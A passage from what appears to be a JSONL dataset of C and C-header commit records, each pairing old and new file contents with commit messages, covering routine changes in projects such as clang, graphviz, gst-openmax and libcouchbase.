Authenticate(QString password, User::AuthenticateFlag auth_mode);\n    int AddPwEntry(PwEntry password_entry);\n\nprivate:\n    void EncryptAllPwEntries(QString password);\n    void DecryptAllPwEntries(QString password);\n};\n\n#endif \/\/ USER_H\n","subject":"Resolve naming conflict between Authenticate method name and enum name.","message":"Resolve naming conflict between Authenticate method name and enum name.\n","lang":"C","license":"mit","repos":"vapter\/karabiner,vapter\/karabiner,vapter\/karabiner"}
{"commit":"2f7b8e781b35070f8f79b4816354ffd81df9048b","old_file":"lib\/stdarg.h","new_file":"lib\/stdarg.h","old_contents":"#ifndef __STDARG_H\n#define __STDARG_H\n\n#include \"sys\/types.h\"\n\ntypedef void *va_list;\n\n#define va_start(l, arg) l = (void *)&arg\n#define va_arg(l, type) (*(type *)(l += __WORDSIZE \/ 8))\n#define va_end(l)\n\n#endif\n","new_contents":"#ifndef __STDARG_H\n#define __STDARG_H\n\n#include \"sys\/types.h\"\n\ntypedef void *va_list;\n\n#define va_start(l, arg) l = (void *)&arg\n\/*\n * va_arg assumes arguments are promoted to\n * machine-word size when pushed onto the stack\n *\/\n#define va_arg(l, type) (*(type *)(l += sizeof *l))\n#define va_end(l)\n\n#endif\n","subject":"Move by machine word size","message":"Move by machine word size\n","lang":"C","license":"mit","repos":"bobrippling\/ucc-c-compiler,bobrippling\/ucc-c-compiler,bobrippling\/ucc-c-compiler"}
{"commit":"31679d8270f599c1a0927e5bcfd6f865d28167c1","old_file":"spectrum.h","new_file":"spectrum.h","old_contents":"#ifndef COMPTONSPECTRUM\n#define COMPTONSPECTRUM\n\n#include \"TH1F.h\"\n\nclass spectrum\n{\npublic:\n  spectrum(double initialEnergy, double resolution);\n  void setNumberOfEvents(const int events);\n  virtual TH1F* getHisto();\n  virtual void generateEvents();\nprotected:\n  double fInitialEnergy;\n  double fResolution;\n  int fEvents;\n  std::vector<double> fSimEvents;\n};\n\n#endif \/\/COMPTONSPECTRUM","new_contents":"#ifndef COMPTONSPECTRUM\n#define COMPTONSPECTRUM\n\n#include \"TH1F.h\"\n\nclass spectrum\n{\npublic:\n  spectrum(double initialEnergy = 0, double resolution = 0);\n  void setNumberOfEvents(const int events);\n  virtual TH1F* getHisto();\n  virtual void generateEvents();\nprotected:\n  double fInitialEnergy = 0;\n  double fResolution = 0;\n  int fEvents = 0;\n  std::vector<double> fSimEvents;\n};\n\n#endif \/\/COMPTONSPECTRUM","subject":"Add default values of variables","message":"Add default values of variables\n","lang":"C","license":"mit","repos":"wictus\/comptonPlots"}
{"commit":"accf8e0bfee00fd2f5a97f728f0e8b57c6e9931d","old_file":"inc\/cleri\/children.h","new_file":"inc\/cleri\/children.h","old_contents":"\/*\n * children.h - linked list for keeping node results\n *\n * author       : Jeroen van der Heijden\n * email        : jeroen@transceptor.technology\n * copyright    : 2016, Transceptor Technology\n *\n * changes\n *  - initial version, 08-03-2016\n *  - refactoring, 17-06-2017\n *\/\n#ifndef CLERI_CHILDREN_H_\n#define CLERI_CHILDREN_H_\n\n#include <cleri\/node.h>\n\n\/* typedefs *\/\ntypedef struct cleri_node_s cleri_node_t;\ntypedef struct cleri_children_s cleri_children_t;\n\n\/* private functions *\/\ncleri_children_t * cleri__children_new(void);\nvoid cleri__children_free(cleri_children_t * children);\nint cleri__children_add(cleri_children_t * children, cleri_node_t * node);\n\n\/* structs *\/\nstruct cleri_children_s\n{\n    cleri_node_t * node;\n    struct cleri_children_s * next;\n};\n\n#endif \/* CLERI_CHILDREN_H_ *\/","new_contents":"\/*\n * children.h - linked list for keeping node results\n *\n * author       : Jeroen van der Heijden\n * email        : jeroen@transceptor.technology\n * copyright    : 2016, Transceptor Technology\n *\n * changes\n *  - initial version, 08-03-2016\n *  - refactoring, 17-06-2017\n *\/\n#ifndef CLERI_CHILDREN_H_\n#define CLERI_CHILDREN_H_\n\n#include <cleri\/node.h>\n\n\/* typedefs *\/\ntypedef struct cleri_node_s cleri_node_t;\ntypedef struct cleri_children_s cleri_children_t;\n\n\/* private functions *\/\ncleri_children_t * cleri__children_new(void);\nvoid cleri__children_free(cleri_children_t * children);\nint cleri__children_add(cleri_children_t * children, cleri_node_t * node);\n\n\/* structs *\/\nstruct cleri_children_s\n{\n    cleri_node_t * node;\n    cleri_children_t * next;\n};\n\n#endif \/* CLERI_CHILDREN_H_ *\/","subject":"Update gitignore and use typedef instead of struct","message":"Update gitignore and use typedef instead of struct\n","lang":"C","license":"mit","repos":"transceptor-technology\/libcleri,transceptor-technology\/libcleri"}
{"commit":"1739d1ce0131a272dfd976df21fdbe21c822cc2e","old_file":"os\/scoped_handle.h","new_file":"os\/scoped_handle.h","old_contents":"\/\/ LAF OS Library\n\/\/ Copyright (C) 2019  Igara Studio S.A.\n\/\/ Copyright (C) 2012-2013  David Capello\n\/\/\n\/\/ This file is released under the terms of the MIT license.\n\/\/ Read LICENSE.txt for more information.\n\n#ifndef OS_SCOPED_HANDLE_H_INCLUDED\n#define OS_SCOPED_HANDLE_H_INCLUDED\n#pragma once\n\nnamespace os {\n\n  template<typename T>\n  class ScopedHandle {\n  public:\n    ScopedHandle(T* handle) : m_handle(handle) { }\n    ScopedHandle(ScopedHandle&& that) {\n      m_handle = that.m_handle;\n      that.m_handle = nullptr;\n    }\n    ~ScopedHandle() {\n      if (m_handle)\n        m_handle->dispose();\n    }\n\n    T* operator->() { return m_handle; }\n    operator T*() { return m_handle; }\n  private:\n    T* m_handle;\n\n    \/\/ Cannot copy\n    ScopedHandle(const ScopedHandle&);\n    ScopedHandle& operator=(const ScopedHandle&);\n  };\n\n} \/\/ namespace os\n\n#endif\n","new_contents":"\/\/ LAF OS Library\n\/\/ Copyright (C) 2019-2020  Igara Studio S.A.\n\/\/ Copyright (C) 2012-2013  David Capello\n\/\/\n\/\/ This file is released under the terms of the MIT license.\n\/\/ Read LICENSE.txt for more information.\n\n#ifndef OS_SCOPED_HANDLE_H_INCLUDED\n#define OS_SCOPED_HANDLE_H_INCLUDED\n#pragma once\n\nnamespace os {\n\n  template<typename T>\n  class ScopedHandle {\n  public:\n    ScopedHandle(T* handle) : m_handle(handle) { }\n    ScopedHandle(ScopedHandle&& that) {\n      m_handle = that.m_handle;\n      that.m_handle = nullptr;\n    }\n    ~ScopedHandle() {\n      if (m_handle)\n        m_handle->dispose();\n    }\n\n    T* operator->() { return m_handle; }\n    operator T*() { return m_handle; }\n\n    const T* operator->() const { return m_handle; }\n    operator const T*() const { return m_handle; }\n\n  private:\n    T* m_handle;\n\n    \/\/ Cannot copy\n    ScopedHandle(const ScopedHandle&);\n    ScopedHandle& operator=(const ScopedHandle&);\n  };\n\n} \/\/ namespace os\n\n#endif\n","subject":"Add operators for ScopedHandle when it is const","message":"Add operators for ScopedHandle when it is const\n","lang":"C","license":"mit","repos":"aseprite\/laf,aseprite\/laf"}
{"commit":"4e2b8800768573270f13a537c76d4e5f0cdad3cf","old_file":"Sources\/CardinalDebugToolkit.h","new_file":"Sources\/CardinalDebugToolkit.h","old_contents":"\/\/\n\/\/  CardinalDebugToolkit.h\n\/\/  CardinalDebugToolkit\n\/\/\n\/\/  Created by Robin Kunde on 11\/3\/17.\n\/\/  Copyright © 2017 Cardinal Solutions. All rights reserved.\n\/\/\n\n#import <UIKit\/UIKit.h>\n\n\/\/! Project version number for CardinalDebugToolkit.\nFOUNDATION_EXPORT double CardinalDebugToolkitVersionNumber;\n\n\/\/! Project version string for CardinalDebugToolkit.\nFOUNDATION_EXPORT const unsigned char CardinalDebugToolkitVersionString[];\n\n\/\/ In this header, you should import all the public headers of your framework using statements like #import <CardinalDebugToolkit\/PublicHeader.h>\n\n#import <CardinalDebugToolkit\/NSUserDefaultsHelper.h>\n","new_contents":"\/\/\n\/\/  CardinalDebugToolkit.h\n\/\/  CardinalDebugToolkit\n\/\/\n\/\/  Created by Robin Kunde on 11\/3\/17.\n\/\/  Copyright © 2017 Cardinal Solutions. All rights reserved.\n\/\/\n\n#import <UIKit\/UIKit.h>\n\n\/\/! Project version number for CardinalDebugToolkit.\nFOUNDATION_EXPORT double CardinalDebugToolkitVersionNumber;\n\n\/\/! Project version string for CardinalDebugToolkit.\nFOUNDATION_EXPORT const unsigned char CardinalDebugToolkitVersionString[];\n\n#import \"NSUserDefaultsHelper.h\"\n","subject":"Fix import statement in library briding header","message":"Fix import statement in library briding header\n","lang":"C","license":"mit","repos":"CardinalNow\/CardinalDebugToolkit,CardinalNow\/CardinalDebugToolkit,CardinalNow\/CardinalDebugToolkit"}
{"commit":"c9c37b34d95a1436933698beca4cebcceb42a510","old_file":"mainwindow.h","new_file":"mainwindow.h","old_contents":"#ifndef MAINWINDOW_H\n#define MAINWINDOW_H\n\n#include <QMainWindow>\n#include <qwt_picker.h>\n#include <qwt_plot_picker.h>\n\nnamespace Ui {\nclass MainWindow;\n}\n\nclass MainWindow : public QMainWindow\n{\n    Q_OBJECT\n\npublic:\n    explicit MainWindow(QWidget *parent = 0);\n    ~MainWindow();\n\nprivate slots:\n    void on_enableSizeButton_clicked();\n\nprivate:\n    Ui::MainWindow *ui;\n    double **xnPlus, **xnMinus, **ynPlus, **ynMinus;\n    QwtPlotPicker *picker;\n\nprivate:\n    void initArrays();\n    void initTauComboBox();\n    void initQwtPlot();\n    void initQwtPlotPicker();\n    double func1(double xn, double yn);\n    double func2(double xn);\n    void buildTrajectory(int idTraj);\n};\n\n#endif \/\/ MAINWINDOW_H\n","new_contents":"#ifndef MAINWINDOW_H\n#define MAINWINDOW_H\n\n#include <QMainWindow>\n#include <qwt_picker.h>\n#include <qwt_plot_picker.h>\n\nnamespace Ui {\nclass MainWindow;\n}\n\nclass MainWindow : public QMainWindow\n{\n    Q_OBJECT\n\npublic:\n    explicit MainWindow(QWidget *parent = 0);\n    ~MainWindow();\n\nprivate slots:\n    void on_enableSizeButton_clicked();\n\nprivate:\n    Ui::MainWindow *ui;\n    double **xnPlus, **xnMinus, **ynPlus, **ynMinus;\n    double x0, y0;\n    QwtPlotPicker *picker;\n\nprivate:\n    void initArrays();\n    void initTauComboBox();\n    void initQwtPlot();\n    void initQwtPlotPicker();\n    double func1(double xn, double yn);\n    double func2(double xn);\n    void buildTrajectory(int idTraj);\n};\n\n#endif \/\/ MAINWINDOW_H\n","subject":"Add x0, y0 fields in class.","message":"Add x0, y0 fields in class.\n","lang":"C","license":"mit","repos":"ivanshchitov\/solving-system-ode"}
{"commit":"9faa3ae19da724a23538a218a691bf73c24b81d2","old_file":"BKMoneyKit\/BKCardExpiryField.h","new_file":"BKMoneyKit\/BKCardExpiryField.h","old_contents":"\/\/\n\/\/  BKCardExpiryField.h\n\/\/  BKMoneyKit\n\/\/\n\/\/  Created by Byungkook Jang on 2014. 7. 6..\n\/\/  Copyright (c) 2014년 Byungkook Jang. All rights reserved.\n\/\/\n\n#import \"BKForwardingTextField.h\"\n\n@interface BKCardExpiryField : BKForwardingTextField\n\n\/**\n * Date components that user typed. Undetermined components would be zero.\n *\/\n@property (nonatomic, strong) NSDateComponents      *dateComponents;\n\n@end\n","new_contents":"\/\/\n\/\/  BKCardExpiryField.h\n\/\/  BKMoneyKit\n\/\/\n\/\/  Created by Byungkook Jang on 2014. 7. 6..\n\/\/  Copyright (c) 2014년 Byungkook Jang. All rights reserved.\n\/\/\n\n#import \"BKForwardingTextField.h\"\n\n@interface BKCardExpiryField : BKForwardingTextField\n\n\/**\n * Date components that user typed. Undetermined components would be zero.\n *\/\n@property (nonatomic, strong) NSDateComponents      *dateComponents;\n\n+ (NSInteger)currentYear;\n\n@end\n","subject":"Add accept to current year getter","message":"Add accept to current year getter\n","lang":"C","license":"mit","repos":"bkook\/BKMoneyKit,brightsider\/BKMoneyKit"}
{"commit":"f1d1c9cbfdbb8740e2dfb3f0af5645be978fbfbd","old_file":"omx\/gstomx.h","new_file":"omx\/gstomx.h","old_contents":"\/*\n * Copyright (C) 2007-2008 Nokia Corporation.\n *\n * Author: Felipe Contreras <felipe.contreras@nokia.com>\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation\n * version 2.1 of the License.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA\n *\n *\/\n\n#ifndef GSTOMX_H\n#define GSTOMX_H\n\n#include <gst\/gst.h>\n\nG_BEGIN_DECLS\n\n#define DEFAULT_LIBRARY_NAME \"libomxil.so.0\"\n\nGST_DEBUG_CATEGORY_EXTERN (gstomx_debug);\n#define GST_CAT_DEFAULT gstomx_debug\n\nG_END_DECLS\n\n#endif \/* GSTOMX_H *\/\n","new_contents":"\/*\n * Copyright (C) 2007-2008 Nokia Corporation.\n *\n * Author: Felipe Contreras <felipe.contreras@nokia.com>\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation\n * version 2.1 of the License.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA\n *\n *\/\n\n#ifndef GSTOMX_H\n#define GSTOMX_H\n\n#include <gst\/gst.h>\n\nG_BEGIN_DECLS\n\n#define DEFAULT_LIBRARY_NAME \"libomxil-bellagio.so.0\"\n\nGST_DEBUG_CATEGORY_EXTERN (gstomx_debug);\n#define GST_CAT_DEFAULT gstomx_debug\n\nG_END_DECLS\n\n#endif \/* GSTOMX_H *\/\n","subject":"Update library name to new bellagio library.","message":"Update library name to new bellagio library.\n","lang":"C","license":"lgpl-2.1","repos":"mrchapp\/gst-openmax-devel,felipec\/gst-openmax,prajnashi\/gst-openmax,matsu\/gst-openmax,mrchapp\/gst-openmax,mrchapp\/gst-openmax,matsu\/gst-openmax,mrchapp\/gst-openmax,PPCDroid\/external-gst-openmax,freedesktop-unofficial-mirror\/gstreamer__attic__gst-openmax,mrchapp\/gst-openmax-devel,PPCDroid\/external-gst-openmax,freedesktop-unofficial-mirror\/gstreamer__attic__gst-openmax,prajnashi\/gst-openmax,felipec\/gst-openmax,mrchapp\/gst-openmax-devel"}
{"commit":"04b90bc00fc6ce8bc6c559e56220ceb77cdbccf6","old_file":"test\/Analysis\/array-struct.c","new_file":"test\/Analysis\/array-struct.c","old_contents":"\/\/ RUN: clang -checker-simple -verify %s\n\/\/ RUN: clang -checker-simple -analyzer-store-region -verify %s\n\nstruct s {\n  int data;\n  int data_array[10];\n};\n\ntypedef struct {\n  int data;\n} STYPE;\n\nvoid f(void) {\n  int a[10];\n  int (*p)[10];\n  p = &a;\n  (*p)[3] = 1;\n  \n  struct s d;\n  struct s *q;\n  q = &d;\n  q->data = 3;\n  d.data_array[9] = 17;\n}\n\nvoid f2() {\n  char *p = \"\/usr\/local\";\n  char (*q)[4];\n  q = &\"abc\";\n}\n\nvoid f3() {\n  STYPE s;\n}\n\nvoid f4() {\n  int a[] = { 1, 2, 3};\n  int b[3] = { 1, 2 };\n}\n","new_contents":"\/\/ RUN: clang -checker-simple -verify %s\n\/\/ RUN: clang -checker-simple -analyzer-store-region -verify %s\n\nstruct s {\n  int data;\n  int data_array[10];\n};\n\ntypedef struct {\n  int data;\n} STYPE;\n\nvoid g1(struct s* p);\n\nvoid f(void) {\n  int a[10];\n  int (*p)[10];\n  p = &a;\n  (*p)[3] = 1;\n  \n  struct s d;\n  struct s *q;\n  q = &d;\n  q->data = 3;\n  d.data_array[9] = 17;\n}\n\nvoid f2() {\n  char *p = \"\/usr\/local\";\n  char (*q)[4];\n  q = &\"abc\";\n}\n\nvoid f3() {\n  STYPE s;\n}\n\nvoid f4() {\n  int a[] = { 1, 2, 3};\n  int b[3] = { 1, 2 };\n}\n\nvoid f5() {\n  struct s data;\n  g1(&data);\n}\n","subject":"Add function side-effect test cast.","message":"Add function side-effect test cast.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@58565 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang"}
{"commit":"d9ff38b9506f42f468d03a48674ef0a227405351","old_file":"net430\/cpu.h","new_file":"net430\/cpu.h","old_contents":"#include \"config.h\"\n#include <msp430.h>\n\nvoid delayMs(uint16_t ms);\n\nstatic void\ncpu_init(void) {\n\tWDTCTL = WDTPW + WDTHOLD; \/\/ Stop watchdog timer\n\n\t\/* Set proper CPU clock speed *\/\n\tDCOCTL = 0;\n#if CPU_FREQ == 1\n    BCSCTL1 = CALBC1_1MHZ;\n    DCOCTL = CALDCO_1MHZ;\n#elif CPU_FREQ == 8\n    BCSCTL1 = CALBC1_8MHZ;\n    DCOCTL = CALDCO_8MHZ;\n#elif CPU_FREQ == 12\n    BCSCTL1 = CALBC1_12MHZ\n    DCOCTL = CALDCO_12HZ;\n#elif CPU_FREQ == 16\n    BCSCTL1 = CALBC1_16MHZ;\n    DCOCTL = CALDCO_16MHZ;\n#else\n#error \"Unsupported CPU frequency\"\n#endif\n}\n\n\/* Spends 3 * n cycles *\/\n__inline__ static void delay_cycles(register unsigned int n) {\n\t__asm__ __volatile__ (\n\t\t\t\"1: \\n\"\n\t\t\t\" dec\t%[n] \\n\"\n\t\t\t\" jne\t1b \\n\"\n\t\t\t: [n] \"+r\"(n));\n}\n","new_contents":"#include \"config.h\"\n#include <msp430.h>\n#include <stdint.h>\n\nvoid delayMs(uint16_t ms);\n\nstatic void\ncpu_init(void) {\n\tWDTCTL = WDTPW + WDTHOLD; \/\/ Stop watchdog timer\n\n\t\/* Set proper CPU clock speed *\/\n\tDCOCTL = 0;\n#if CPU_FREQ == 1\n    BCSCTL1 = CALBC1_1MHZ;\n    DCOCTL = CALDCO_1MHZ;\n#elif CPU_FREQ == 8\n    BCSCTL1 = CALBC1_8MHZ;\n    DCOCTL = CALDCO_8MHZ;\n#elif CPU_FREQ == 12\n    BCSCTL1 = CALBC1_12MHZ\n    DCOCTL = CALDCO_12HZ;\n#elif CPU_FREQ == 16\n    BCSCTL1 = CALBC1_16MHZ;\n    DCOCTL = CALDCO_16MHZ;\n#else\n#error \"Unsupported CPU frequency\"\n#endif\n}\n\n\/* Spends 3 * n cycles *\/\n__inline__ static void delay_cycles(register unsigned int n) {\n\t__asm__ __volatile__ (\n\t\t\t\"1: \\n\"\n\t\t\t\" dec\t%[n] \\n\"\n\t\t\t\" jne\t1b \\n\"\n\t\t\t: [n] \"+r\"(n));\n}\n","subject":"Include stdint to get uint16_t","message":"Include stdint to get uint16_t\n","lang":"C","license":"mit","repos":"xpgdk\/net430,xpgdk\/net430,xpgdk\/net430"}
{"commit":"ea0ce2b6d9c1463be6038146063f016b489b54e4","old_file":"plugin\/devil\/gvplugin_devil.c","new_file":"plugin\/devil\/gvplugin_devil.c","old_contents":"\/* $Id$ $Revision$ *\/\n\/* vim:set shiftwidth=4 ts=8: *\/\n\n\/**********************************************************\n*      This software is part of the graphviz package      *\n*                http:\/\/www.graphviz.org\/                 *\n*                                                         *\n*            Copyright (c) 1994-2004 AT&T Corp.           *\n*                and is licensed under the                *\n*            Common Public License, Version 1.0           *\n*                      by AT&T Corp.                      *\n*                                                         *\n*        Information and Software Systems Research        *\n*              AT&T Research, Florham Park NJ             *\n**********************************************************\/\n\n#include \"gvplugin.h\"\n\nextern gvplugin_installed_t gvdevice_devil_types;\n\nstatic gvplugin_api_t apis[] = {\n    {API_device, &gvdevice_devil_types},\n    {(api_t)0, 0},\n};\n\ngvplugin_library_t gvplugin_devil_LTX_library = { \"devil\", apis };\n","new_contents":"\/* $Id$ $Revision$ *\/\n\/* vim:set shiftwidth=4 ts=8: *\/\n\n\/**********************************************************\n*      This software is part of the graphviz package      *\n*                http:\/\/www.graphviz.org\/                 *\n*                                                         *\n*            Copyright (c) 1994-2004 AT&T Corp.           *\n*                and is licensed under the                *\n*            Common Public License, Version 1.0           *\n*                      by AT&T Corp.                      *\n*                                                         *\n*        Information and Software Systems Research        *\n*              AT&T Research, Florham Park NJ             *\n**********************************************************\/\n\n#include \"gvplugin.h\"\n\nextern gvplugin_installed_t gvdevice_devil_types[];\n\nstatic gvplugin_api_t apis[] = {\n    {API_device, gvdevice_devil_types},\n    {(api_t)0, 0},\n};\n\ngvplugin_library_t gvplugin_devil_LTX_library = { \"devil\", apis };\n","subject":"Apply patch for C standards compliance: \"All declarations that refer to the same object or function shall have compatible type; otherwise, the behavior is undefined.\" (That's from ISO\/IEC 9899:TC2 final committee draft, section 6.2.7.)","message":"Apply patch for C standards compliance:\n\t\"All declarations that\n\trefer to the same object or function shall have compatible type;\n\totherwise, the behavior is undefined.\"  (That's from ISO\/IEC 9899:TC2\n\tfinal committee draft, section 6.2.7.)\n\n\tThis doesn't trigger issues with most C implementations, but there\n\tis one implementation in development (GCC LTO branch) which does\n\tflag this issue.\n\nPatch from:\tChris Demetriou <cgd@google.com>\n","lang":"C","license":"epl-1.0","repos":"kbrock\/graphviz,kbrock\/graphviz,jho1965us\/graphviz,BMJHayward\/graphviz,jho1965us\/graphviz,kbrock\/graphviz,tkelman\/graphviz,kbrock\/graphviz,pixelglow\/graphviz,jho1965us\/graphviz,MjAbuz\/graphviz,kbrock\/graphviz,kbrock\/graphviz,pixelglow\/graphviz,tkelman\/graphviz,MjAbuz\/graphviz,tkelman\/graphviz,kbrock\/graphviz,BMJHayward\/graphviz,pixelglow\/graphviz,ellson\/graphviz,BMJHayward\/graphviz,BMJHayward\/graphviz,pixelglow\/graphviz,tkelman\/graphviz,jho1965us\/graphviz,pixelglow\/graphviz,MjAbuz\/graphviz,pixelglow\/graphviz,jho1965us\/graphviz,MjAbuz\/graphviz,ellson\/graphviz,BMJHayward\/graphviz,MjAbuz\/graphviz,MjAbuz\/graphviz,tkelman\/graphviz,ellson\/graphviz,kbrock\/graphviz,ellson\/graphviz,tkelman\/graphviz,BMJHayward\/graphviz,ellson\/graphviz,MjAbuz\/graphviz,tkelman\/graphviz,ellson\/graphviz,pixelglow\/graphviz,pixelglow\/graphviz,pixelglow\/graphviz,tkelman\/graphviz,ellson\/graphviz,BMJHayward\/graphviz,MjAbuz\/graphviz,pixelglow\/graphviz,jho1965us\/graphviz,kbrock\/graphviz,jho1965us\/graphviz,jho1965us\/graphviz,ellson\/graphviz,jho1965us\/graphviz,MjAbuz\/graphviz,pixelglow\/graphviz,ellson\/graphviz,jho1965us\/graphviz,kbrock\/graphviz,jho1965us\/graphviz,BMJHayward\/graphviz,tkelman\/graphviz,kbrock\/graphviz,tkelman\/graphviz,BMJHayward\/graphviz,MjAbuz\/graphviz,MjAbuz\/graphviz,BMJHayward\/graphviz,ellson\/graphviz,tkelman\/graphviz,BMJHayward\/graphviz,ellson\/graphviz"}
{"commit":"6eb5be81ca17bc64de0b856fde8f5a9a90757489","old_file":"test\/CodeGen\/enum.c","new_file":"test\/CodeGen\/enum.c","old_contents":"\/\/ RUN: %clang_cc1 -triple i386-unknown-unknown %s -O3 -emit-llvm -o - | grep 'ret i32 6'\n\/\/ RUN: %clang_cc1 -triple i386-unknown-unknown -x c++ %s -O3 -emit-llvm -o - | grep 'ret i32 7'\n\nstatic enum { foo, bar = 1U } z;\n\nint main (void)\n{\n  int r = 0;\n\n  if (bar - 2 < 0)\n    r += 4;\n  if (foo - 1 < 0)\n    r += 2;\n  if (z - 1 < 0)\n    r++;\n\n  return r;\n}\n\n","new_contents":"\/\/ RUN: %clang_cc1 -triple i386-unknown-unknown %s -O3 -emit-llvm -o - | grep 'ret i32 6'\n\/\/ RUN: %clang_cc1 -triple i386-unknown-unknown -x c++ %s -O3 -emit-llvm -o - | grep 'ret i32 7'\n\n\/\/ This test case illustrates a peculiarity of the promotion of\n\/\/ enumeration types in C and C++. In particular, the enumeration type\n\/\/ \"z\" below promotes to an unsigned int in C but int in C++.\nstatic enum { foo, bar = 1U } z;\n\nint main (void)\n{\n  int r = 0;\n\n  if (bar - 2 < 0)\n    r += 4;\n  if (foo - 1 < 0)\n    r += 2;\n  if (z - 1 < 0)\n    r++;\n\n  return r;\n}\n\n","subject":"Comment a wacky test case","message":"Comment a wacky test case\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@123758 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang"}
{"commit":"bc000f3f8183954b8d013eeeed4af2e9d839735a","old_file":"tests\/homebrew-acceptance-test.c","new_file":"tests\/homebrew-acceptance-test.c","old_contents":"\/* -*- Mode: C; tab-width: 4; c-basic-offset: 4; indent-tabs-mode: nil -*- *\/\n\/*\n *     Copyright 2013 Couchbase, Inc.\n *\n *   Licensed under the Apache License, Version 2.0 (the \"License\");\n *   you may not use this file except in compliance with the License.\n *   You may obtain a copy of the License at\n *\n *       http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n *   Unless required by applicable law or agreed to in writing, software\n *   distributed under the License is distributed on an \"AS IS\" BASIS,\n *   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *   See the License for the specific language governing permissions and\n *   limitations under the License.\n *\/\n\n#include <internal.h> \/* getenv, sytem, snprintf *\/\n\nint main(int argc, char *argv[])\n{\n#ifndef WIN32\n    char *srcdir = getenv(\"srcdir\");\n    char command[FILENAME_MAX];\n    int status;\n\n    snprintf(command, FILENAME_MAX, \"%s\/tools\/cbc version 2>&1\", srcdir);\n    status = system(command);\n    if (status == -1 || WIFSIGNALED(status) || WEXITSTATUS(status) != 0) {\n        return 1;\n    }\n    snprintf(command, FILENAME_MAX, \"%s\/tools\/cbc help 2>&1\", srcdir);\n    if (status == -1 || WIFSIGNALED(status) || WEXITSTATUS(status) != 0) {\n        return 1;\n    }\n#endif\n    return 0;\n}\n\n","new_contents":"\/* -*- Mode: C; tab-width: 4; c-basic-offset: 4; indent-tabs-mode: nil -*- *\/\n\/*\n *     Copyright 2013 Couchbase, Inc.\n *\n *   Licensed under the Apache License, Version 2.0 (the \"License\");\n *   you may not use this file except in compliance with the License.\n *   You may obtain a copy of the License at\n *\n *       http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n *   Unless required by applicable law or agreed to in writing, software\n *   distributed under the License is distributed on an \"AS IS\" BASIS,\n *   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *   See the License for the specific language governing permissions and\n *   limitations under the License.\n *\/\n\n#include <internal.h> \/* getenv, sytem, snprintf *\/\n\nint main(void)\n{\n#ifndef WIN32\n    char *srcdir = getenv(\"srcdir\");\n    char command[FILENAME_MAX];\n    int status;\n\n    snprintf(command, FILENAME_MAX, \"%s\/tools\/cbc version 2>&1\", srcdir);\n    status = system(command);\n    if (status == -1 || WIFSIGNALED(status) || WEXITSTATUS(status) != 0) {\n        return 1;\n    }\n    snprintf(command, FILENAME_MAX, \"%s\/tools\/cbc help 2>&1\", srcdir);\n    if (status == -1 || WIFSIGNALED(status) || WEXITSTATUS(status) != 0) {\n        return 1;\n    }\n#endif\n    return 0;\n}\n\n","subject":"Fix compile error with -Werror","message":"Fix compile error with -Werror\n\nChange-Id: Ifac2f0b1c06534bc85bad5fe2b2594c4eb208dda\nReviewed-on: http:\/\/review.couchbase.org\/27387\nTested-by: Trond Norbye <60edd2ef23891a753f231b0c6f161dc634079a93@gmail.com>\nReviewed-by: Sergey Avseyev <87f6d5e4fd3644c3c20800cde7fd3ad1569370b3@gmail.com>\n","lang":"C","license":"apache-2.0","repos":"PureSwift\/libcouchbase,kojiromike\/libcouchbase,mnunberg\/libcouchbase,avsej\/libcouchbase,maxim-ky\/libcouchbase,avsej\/libcouchbase,couchbase\/libcouchbase,uvenum\/libcouchbase,couchbase\/libcouchbase,mody\/libcouchbase,senthilkumaranb\/libcouchbase,mnunberg\/libcouchbase,kojiromike\/libcouchbase,maxim-ky\/libcouchbase,couchbase\/libcouchbase,avsej\/libcouchbase,mody\/libcouchbase,uvenum\/libcouchbase,senthilkumaranb\/libcouchbase,couchbase\/libcouchbase,senthilkumaranb\/libcouchbase,trondn\/libcouchbase,mnunberg\/libcouchbase,trondn\/libcouchbase,avsej\/libcouchbase,maxim-ky\/libcouchbase,mnunberg\/libcouchbase,kojiromike\/libcouchbase,PureSwift\/libcouchbase,uvenum\/libcouchbase,trondn\/libcouchbase,couchbase\/libcouchbase,signmotion\/libcouchbase,uvenum\/libcouchbase,avsej\/libcouchbase,mnunberg\/libcouchbase,senthilkumaranb\/libcouchbase,trondn\/libcouchbase,s